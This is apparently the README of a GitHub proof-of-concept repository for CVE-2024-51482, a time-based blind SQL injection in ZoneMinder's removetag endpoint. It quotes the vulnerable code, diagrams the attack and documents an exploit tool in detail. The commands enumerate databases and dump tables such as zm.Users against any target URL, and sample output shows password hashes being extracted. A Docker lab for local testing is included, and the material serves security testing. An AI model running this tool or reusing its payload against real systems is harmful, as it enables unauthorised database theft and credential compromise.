本仓库包含一个针对 ZoneMinder 的基于时间的 SQL 注入 PoC。
该工具支持:
同时还包含一个完全可重现的 Docker 实验环境,用于安全测试。
ZoneMinder 是一款免费的开源闭路电视软件应用程序。该漏洞源于 ZoneMinder 的 removetag 端点对输入验证不足。用户提供的输入直接被拼接到 SQL 查询中,没有进行合适的清理或参数化,攻击者可借此注入恶意的基于布尔值的 SQL 载荷。利用手法采用:
SLEEP(x - IF(condition, 0, x))
通过响应时间推断数据。
来自 GitHub 维护者安全公告 的完整漏洞代码片段:
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}
攻击者 ZoneMinder Web 应用
│ │
│ [认证] │
│ POST /zm/index.php │
│ {username, password} │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 200 OK + Set-Cookie: ZMSESSID=... │ ← 已认证会话
│ │
│ [CVE-2024-51482] │
│ GET /zm/index.php │
│ ?view=request&request=event │
│ &action=removetag&tid=<载荷> │
│────────────────────────────────────────►│
│ SQL 布尔查询执行
│ IF(condition, 无延迟, SLEEP)
│◄────────────────────────────────────────│
│ 延迟响应(时间判定) │ ← 推断条件
│ │
│ 重复请求 │
│ ASCII(SUBSTRING(query,pos,1)) │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 时间差异揭示字符 │
│ │
│ 每字符二分查找 │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 提取的数据(每次一个字符) │
│ │
│ SELECT Username, Password FROM Users │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 完整数据库泄露 │
│ │
✓ 通过盲 SQLi 完成数据窃取
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│ ├── Dockerfile
│ └── entrypoint.sh
└── logs/
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # 配置环境变量
docker compose up -d
不带任何标志时,工具会向目标认证,检查漏洞,如果存在漏洞,则从 zm.Users 表导出 ID、Username、Password、Name 和 Email 列(dump-users 命令)。
python exploit.py -t http://target/zm -u <username> -p <password>
python exploit.py -h
仅检查目标是否易受攻击。
python exploit.py -t http://target/zm -u <username> -p <password> check
导出 zm.Users 表中的 ID、Username、Password、Name 和 Email 列。如果未指定命令,则为默认命令。
python exploit.py -t http://target/zm -u <username> -p <password> dump-users
列出所有数据库。
python exploit.py -t http://target/zm -u <username> -p <password> list-db
列出指定数据库中的表。
python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
列出指定表中的列。
python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
导出指定表中的所有数据。
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
你也可以指定要导出的列(默认导出所有列):
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
--no-display
如果文件不存在,则会创建。如果已存在,新结果将追加到文件末尾。
--outfile results.csv
| 标志 | 描述 | 示例 |
|---|---|---|
-t, --target | 目标基础 URL | -t http://localhost:8080 |
-u, --user | 认证用户名 | -u admin |
-p, --password | 认证密码 | -p admin |
--cookie | 使用已有的 ZMSESSID cookie 代替登录 | --cookie abc123... |
| 命令 | 描述 | 示例 |
|---|---|---|
check | 测试目标是否易受攻击(基于时间的 SQLi) | check |
dump-users | 直接导出 zm.Users 表 | dump-users |
list-db | 列出所有数据库 | list-db |
list-tables | 列出数据库中的表 | list-tables --db zm |
list-columns | 列出表中的列 | list-columns --db zm --table Users |
dump-table | 导出指定表 | dump-table --db zm --table Users |
| 标志 | 描述 | 必需性 | 示例 |
|---|---|---|---|
--db | 数据库名称 | 是(用于表/列操作) | --db zm |
--table | 表名 | 是(用于列/导出操作) | --table Users |
--columns | 逗号分隔的要导出的列 | 可选 | --columns Username,Password |
| 标志 | 描述 | 默认值 | 示例 |
|---|---|---|---|
--threads | 并发提取线程数 | 5 | --threads 6 |
--delay | 基于时间的 SQLi 所用的延迟 | 3 | --delay 2 |
--no-check | 利用前跳过漏洞检查 | False | --no-check |
| 标志 | 描述 | 示例 |
|---|---|---|
--outfile | 将输出保存到 CSV 文件 | --outfile results.csv |
--no-display | 禁用终端输出 | --no-display |
| 标志 | 描述 | 默认值 | 示例 |
|---|---|---|---|
-v, --verbose | 启用调试日志 | False | -v |
--log-file | 日志文件路径 | logs/exploit.log | --log-file out.log |
--no-color | 禁用彩色输出 | False | --no-color |
python3 exploit.py \
-t http://localhost:8080 \
-u admin -p admin \
dump-table \
--db zm \
--table Users \
--columns Username,Password \
--threads 6 \
--delay 2 \
--outfile dump.csv
dump-users 是导出 zm.Users 表的快捷方式。--no-check。附带的 docker-compose.yml 设置了一个易受攻击的 ZoneMinder 实例。
cp .env.example .env # 配置环境变量
docker compose up -d
通过 http://localhost:8080/(或自定义端口)访问 Web 界面。默认凭据为 admin:admin。然后你可以对这个本地实例运行利用工具进行测试。
$ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
_________ ____ _______________ ________ _______ ________ _____ .________ ____ _____ ______ ________
\_ ___ \\ \ / /\_ _____/ \_____ \\ _ \ \_____ \ / | | | ____//_ | / | | / __ \ \_____ \
/ \ \/ \ Y / | __)_ ______ / ____// /_\ \ / ____/ / | |_ ______|____ \ | | / | |_ > < / ____/
\ \____ \ / | \/_____// \\ \_/ \/ \ / ^ //_____// \ | |/ ^ // -- \/ \
\______ / \___/ /_______ / \_______ \\_____ /\_______ \\____ | /______ / |___|\____ | \______ /\_______ \
\/ \/ \/ \/ \/ |__| \/ |__| \/ \/
[∗] 目标 URL: http://localhost:8080/
[∗] 模块: dump-table
[∗] 输出将保存到: ./out.csv
[∗] 尝试使用用户名/密码认证登录
🡲 凭据: admin:admin
[+] 成功以用户 admin 身份认证
[∗] 测试目标漏洞...
[+] 目标似乎存在漏洞(响应时间表明注入成功)。
[∗] 正在导出表 zm.Users 的内容...
[+] 找到列: Username, Password
[∗] 获取表中的行数...
[+] 表包含 2 行。开始导出...
[∗] 进度: 5/5 | admin
[∗] 进度: 60/60 | $2h$12$NHZs...
[+] 获取行 1: admin, $2h$12$NHZs...
[∗] 进度: 4/4 | flag
[∗] 进度: 60/60 | $2y$10$1Ei....
[+] 获取行 2: flag, $2y$10$1Ei....
+----------+----------------+
| Username | Password |
+----------+----------------+
| admin | $2h$12$NHZs... |
| flag | $2y$10$1Ei.... |
+----------+----------------+
[+] 结果已写入 ./out.csv
[+] 工作完成。再见!